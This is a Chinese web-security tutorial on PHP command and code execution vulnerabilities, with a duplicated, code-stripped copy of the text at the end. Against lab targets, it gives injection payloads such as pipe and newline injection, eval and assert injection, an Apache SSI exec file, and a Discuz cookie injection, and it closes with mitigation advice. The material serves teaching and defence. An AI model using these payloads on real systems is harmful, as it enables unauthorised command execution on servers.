[红日安全]Web安全Day13 - 命令执行实战攻防
字数 1603 2025-08-25 22:58:47

Web安全实战:命令执行与代码执行漏洞攻防详解

1. 命令执行与代码执行概述

1.1 命令执行漏洞原理

在操作系统中,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。常见的命令连接符包括|&&&||等。

1.2 代码执行漏洞原理

应用调用执行系统命令的函数时(如PHP中的systemexecshell_execpassthrupopenproc_popen等),当用户能控制这些函数中的参数时,可以将恶意系统命令拼接到正常命令中,造成命令执行攻击。

1.3 命令执行与代码执行漏洞区别

  • 命令执行漏洞:直接调用操作系统命令
  • 代码执行漏洞:通过执行脚本代码间接调用操作系统命令

1.4 漏洞危害

  • 执行任意代码和系统命令
  • 读写服务器文件
  • 反弹shell获取服务器控制权
  • 进一步内网渗透

2. 漏洞测试与实战

2.1 靶机测试环境搭建

使用Web for Pentester进行测试:

  1. 下载镜像:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
  2. VMware安装镜像文件
  3. 查看IP地址并访问

2.2 命令注入漏洞示例

Example 1:无过滤直接注入

<?php system("ping -c 2 ".$_GET['ip']);?>

利用方式:

http://192.168.245.131/commandexec/example1.php?ip=127.0.0.1| whoami

Example 2:使用换行符绕过正则过滤

<?php 
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

利用方式(%0a为换行符):

http://192.168.245.131/commandexec/example2.php?ip=127.0.0.1%0awhoami

Example 3:重定向限制绕过

<?php 
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
    header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>

利用方式:抓包修改请求,避免重定向

2.3 代码注入漏洞示例

Example 1:未过滤直接注入

<?php 
$str="echo \"Hello ".$_GET['name']."\";"; 
eval($str);
?>

利用方式:

http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo();//

Example 2:create_function注入

usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

利用方式:

http://192.168.245.131/codeexec/example2.php?order=id);;}phpinfo();//

Example 3:preg_replace的/e修饰符注入

<?php echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);?>

利用方式:

http://192.168.245.131/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer

Example 4:assert函数注入

assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

利用方式:

http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo();//

2.4 实战演练环境搭建

使用Vulnhub一键搭建漏洞测试靶机:

  1. 安装Docker:

    sudo apt install docker.io
    pip install docker-compose
    
  2. 下载Vulnhub:

    git clone https://github.com/vulhub/vulhub.git
    
  3. 配置国内镜像(可选):

    {
      "registry-mirrors": ["https://registry.docker-cn.com"]
    }
    
  4. 启动Docker服务:

    service docker restart
    

2.4.1 Apache SSI远程命令执行漏洞

  1. 进入靶机环境:

    cd httpd/ssi-rce/
    docker-compose up -d
    
  2. 上传构造的shtml文件:

    <!--#exec cmd="whoami" -->
    
  3. 访问上传的文件执行命令

2.4.2 Discuz 7.x/6.x全局变量防御绕过导致代码执行

  1. 进入靶机环境:

    cd discuz/wooyun-2010-080723/
    docker-compose up -d
    
  2. 安装Discuz(数据库地址填写db

  3. 抓包修改Cookie:

    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; 
    GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
    

3. 修复方案

3.1 命令执行修复方案

  1. 尽量少用或禁用执行命令的函数
  2. 参数值使用引号包裹
  3. 对动态函数进行白名单限制
  4. 对参数进行过滤和转义
  5. 使用脚本替代外部程序调用
  6. 使用安全函数:
    • escapeshellcmd():过滤整个命令
    • escapeshellarg():过滤参数值
  7. 参数值使用引号包裹并调用addslashes()转义
  8. 及时更新第三方组件并修改默认配置

3.2 代码执行修复方案

  1. 使用JSON保存数组/对象而非序列化字符串
  2. 必须使用eval时:
    • 严格控制输入
    • 使用单引号包裹代码
    • 插入前使用addslashes()
    $data = addslashes($data);
    eval("\$data = deal('$data');");
    
  3. 避免使用preg_replacee修饰符,改用preg_replace_callback
  4. 确保register_globals = off
  5. 严格控制文件写入函数:file_put_contents(), fwrite(), fputs()
  6. 自动化检测时可使用测试payload:";print(md5(test));$a="

4. 总结

命令执行和代码执行漏洞是Web安全中高危漏洞,攻击者可通过这些漏洞直接控制系统。防御关键在于:

  • 严格控制用户输入
  • 使用安全函数处理参数
  • 最小化危险函数的使用
  • 保持系统和组件更新
  • 实施严格的输入验证和过滤机制

通过本文的示例和修复方案,开发者可以更好地理解和防范这类安全风险。

Web安全实战:命令执行与代码执行漏洞攻防详解 1. 命令执行与代码执行概述 1.1 命令执行漏洞原理 在操作系统中,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。常见的命令连接符包括 | 、 & 、 && 、 || 等。 1.2 代码执行漏洞原理 应用调用执行系统命令的函数时(如PHP中的 system 、 exec 、 shell_exec 、 passthru 、 popen 、 proc_popen 等),当用户能控制这些函数中的参数时,可以将恶意系统命令拼接到正常命令中,造成命令执行攻击。 1.3 命令执行与代码执行漏洞区别 命令执行漏洞 :直接调用操作系统命令 代码执行漏洞 :通过执行脚本代码间接调用操作系统命令 1.4 漏洞危害 执行任意代码和系统命令 读写服务器文件 反弹shell获取服务器控制权 进一步内网渗透 2. 漏洞测试与实战 2.1 靶机测试环境搭建 使用Web for Pentester进行测试: 下载镜像: https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso VMware安装镜像文件 查看IP地址并访问 2.2 命令注入漏洞示例 Example 1:无过滤直接注入 利用方式: Example 2:使用换行符绕过正则过滤 利用方式( %0a 为换行符): Example 3:重定向限制绕过 利用方式:抓包修改请求,避免重定向 2.3 代码注入漏洞示例 Example 1:未过滤直接注入 利用方式: Example 2:create_ function注入 利用方式: Example 3:preg_ replace的/e修饰符注入 利用方式: Example 4:assert函数注入 利用方式: 2.4 实战演练环境搭建 使用Vulnhub一键搭建漏洞测试靶机: 安装Docker: 下载Vulnhub: 配置国内镜像(可选): 启动Docker服务: 2.4.1 Apache SSI远程命令执行漏洞 进入靶机环境: 上传构造的shtml文件: 访问上传的文件执行命令 2.4.2 Discuz 7.x/6.x全局变量防御绕过导致代码执行 进入靶机环境: 安装Discuz(数据库地址填写 db ) 抓包修改Cookie: 3. 修复方案 3.1 命令执行修复方案 尽量少用或禁用执行命令的函数 参数值使用引号包裹 对动态函数进行白名单限制 对参数进行过滤和转义 使用脚本替代外部程序调用 使用安全函数: escapeshellcmd() :过滤整个命令 escapeshellarg() :过滤参数值 参数值使用引号包裹并调用 addslashes() 转义 及时更新第三方组件并修改默认配置 3.2 代码执行修复方案 使用JSON保存数组/对象而非序列化字符串 必须使用 eval 时: 严格控制输入 使用单引号包裹代码 插入前使用 addslashes() 避免使用 preg_replace 的 e 修饰符,改用 preg_replace_callback 确保 register_globals = off 严格控制文件写入函数: file_put_contents() , fwrite() , fputs() 等 自动化检测时可使用测试payload: ";print(md5(test));$a=" 4. 总结 命令执行和代码执行漏洞是Web安全中高危漏洞,攻击者可通过这些漏洞直接控制系统。防御关键在于: 严格控制用户输入 使用安全函数处理参数 最小化危险函数的使用 保持系统和组件更新 实施严格的输入验证和过滤机制 通过本文的示例和修复方案,开发者可以更好地理解和防范这类安全风险。